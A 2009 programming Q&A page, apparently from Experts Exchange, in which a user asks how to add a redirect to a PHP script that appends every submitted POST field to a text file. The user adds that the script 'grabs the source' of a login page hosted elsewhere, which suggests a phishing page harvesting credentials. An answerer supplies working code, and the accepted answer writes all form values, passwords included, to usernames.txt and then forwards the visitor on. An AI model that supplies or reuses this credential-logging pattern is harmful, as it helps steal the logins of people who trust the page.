Want to protect your cyber security and still get fast solutions? Ask a secure question today.Go Premium

x
?
Solved

PHP Page Redirect After Login/fopen

Posted on 2009-02-14
3
Medium Priority
?
360 Views
Last Modified: 2013-12-13
Currently creating a website, I have a login for my website. I log my usernames to see who has logged in each day. I got the code where it logs the users usernames down. But it just stays on that page, that contains the php code below. How can I redirect the user after he/she has log in.
<?php ('Location: http://login.here.com');$handle = fopen("usernames.txt", "a");foreach($_POST as $variable => $value) {fwrite($handle, $variable);fwrite($handle, "=");fwrite($handle, $value);fwrite($handle, "\r\n");}fwrite($handle, "\r\n");fclose($handle);exit;?>

Open in new window

0
Comment
Question by:winkx
  • 2
3 Comments
 
LVL 14

Expert Comment

by:Ionut A. Tudor
ID: 23640693
see below corrected code:

<?php
 
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable."=".$value);
}
fwrite($handle, "\r\n");
fclose($handle);
 
header('Location: http://login.here.com');
exit;
?>

Open in new window

0
 

Author Comment

by:winkx
ID: 23640713
no, http://login.here.com, grabs the source of my login. So, "http://login.here.com" should still stay at top of code and after the username is written in the .txt file I need the pade redirect. Sorry for the mix up.
0
 
LVL 14

Accepted Solution

by:
Ionut A. Tudor earned 2000 total points
ID: 23640825
Ok, you can simply replace that url with the url that you need to redirect.

<?php
 $yourpagesource = "here its your web page html source";
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable."=".$value);
}
fwrite($handle, "\r\n");
fclose($handle);
 
header('Location: http://anysite.com/this/is/the/redirect/URL');
exit;
?>

Open in new window

0

Featured Post

Concerto's Cloud Advisory Services

Want to avoid the missteps to gaining all the benefits of the cloud? Learn more about the different assessment options from our Cloud Advisory team.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

These days socially coordinated efforts have turned into a critical requirement for enterprises.
This article discusses how to create an extensible mechanism for linked drop downs.
Explain concepts important to validation of email addresses with regular expressions. Applies to most languages/tools that uses regular expressions. Consider email address RFCs: Look at HTML5 form input element (with type=email) regex pattern: T…
This tutorial will teach you the core code needed to finalize the addition of a watermark to your image. The viewer will use a small PHP class to learn and create a watermark.
Suggested Courses

575 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question